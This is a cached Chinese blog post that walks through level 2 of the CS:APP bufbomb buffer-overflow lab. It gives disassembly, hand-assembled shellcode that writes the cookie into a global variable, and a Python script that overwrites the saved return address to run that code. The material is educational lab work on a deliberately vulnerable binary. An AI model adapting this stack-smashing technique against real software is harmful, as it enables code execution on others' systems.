csapp lab3 bufbomb(level 2)

2014-11-22 Mithrilwoodrat 更多博文 » 博客 » GitHub »

原文链接 http://woodrat.xyz/2014/11/22/csapp-lab3-bufbomb-2/
注:以下为加速网络访问所做的原文缓存,经过重新格式化,可能存在格式方面的问题,或偶有遗漏信息,请以原文为准。


<!--[CDATA[

上一个lab还有两关没有做完,但是懒的挨个截图写下来咯=.=,先看看第三个实验,听起来就很好玩 : )

找了半天才找到一个可用的32位的版本,原版会要求在他的shark machine上运行, The Hardware/Software Interface上又是64位的版本.最后在github上找到了一个可以用的32位版https://github.com/Mithrilwoodrat/CSAPP-Labs/tree/master/buflab.

前两关相当简单,网上一大堆答案,就不写咯,写下第三个,bang =.=

实验自带的sendstring是64位版本的,http://my.oschina.net/gallant/blog/96049?上有32位的源码,可以下载自己编译.但是事实上,自己写个Py脚本更方便,还可以加上注释=.=,我写了一个Py oneline版https://github.com/Mithrilwoodrat/hex2raw

bang的源码如下

int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value);

exit(0); }

因为global_value是全局变量,无法简单覆盖,需要执行一段代码,设置global_value为cookie值.

我指定的用户名为123

./bufbomb -u 123

得到cookie值为0x70a28da5

反汇编bang的代码如下

08049022 <bang>: 8049022: 55 push %ebp 8049023: 89 e5 mov %esp,%ebp 8049025: 83 ec 18 sub $0x18,%esp 8049028: a1 ec c1 04 08 mov 0x804c1ec,%eax 804902d: 3b 05 e4 c1 04 08 cmp 0x804c1e4,%eax 8049033: 75 1e jne 8049053 <bang+0x31> 8049035: 89 44 24 04 mov %eax,0x4(%esp) 8049039: c7 04 24 90 a1 04 08 movl $0x804a190,(%esp) 8049040: e8 9b f8 ff ff call 80488e0 <printf@plt> 8049045: c7 04 24 02 00 00 00 movl $0x2,(%esp) 804904c: e8 93 00 00 00 call 80490e4 <validate> 8049051: eb 10 jmp 8049063 <bang+0x41> 8049053: 89 44 24 04 mov %eax,0x4(%esp) 8049057: c7 04 24 79 9f 04 08 movl $0x8049f79,(%esp) 804905e: e8 7d f8 ff ff call 80488e0 <printf@plt> 8049063: c7 04 24 00 00 00 00 movl $0x0,(%esp) 804906a: e8 21 f9 ff ff call 8048990 <exit@plt>

查看后发现0x804c1ec为global_value,0x804c1e4为cookie,同为全局变量,它们的位置很靠近.

所以编写汇编代码如下

mov $0x70a28da5, %ebx mov $0x804c1ec, %eax mov %ebx, (%eax) ret

cookie at 0x804c1e4

global_value at 0x804c1ec

事实上我一开始是将 0x804c1e4的内容移动到0x804c1ec,完成后参考了上面那个blog中的代码才发现我当时脑子短路了.

gcc -c -m32 bang.s

然后 

objdump -S bang.o > bang.dump

生成的内容如下

bang.o: file format elf32-i386

Disassembly of section .text:

00000000 <.text>: 0: bb a5 8d a2 70 mov $0x70a28da5,%ebx 5: b8 ec c1 04 08 mov $0x804c1ec,%eax a: 89 18 mov %ebx,(%eax) c: c3 ret

现在剩下的就是确定buf的位置,然后像之前一样覆盖跳转的位置,只不过把返回地址改为buf开始处而已.

在 getbuf处下断点,然后x $ebp.将得到的值减去40就是buf的起始地址了,我的虚拟机中为0x556836c8

现在万事具备了,可以编写我们的shellcode了.exploit3.py如下

#cookie :0x70a28da5

buf 0x556836c8

bang #08049022

shellcode = '\xbb\xa5\x8d\xa2\x70'+'\xb8\xec\xc1\x04\x08'+'\x89\x18'+'\xc3'

mov $0x70a28da5,%ebx

mov $0x804c1ec,%eax

mov %ebx,(%eax)

ret

shellcode= shellcode + (40 - len(shellcode))*'a'

print shellcode

shellcode = shellcode +'a'*4 + '\xc8\x36\x68\x55'+'\x22\x90\x04\x08'# ret buf and ret bang print shellcode

是不是比直接写XXX.txt爽快多了呢.如果这样还嫌麻烦的话,可以把bang.dump中的16进制字符串复制到一个py字符串s中,使用

s = reduce(lambda x,y:x+y,[chr(int(i,16)) for i in s.split()])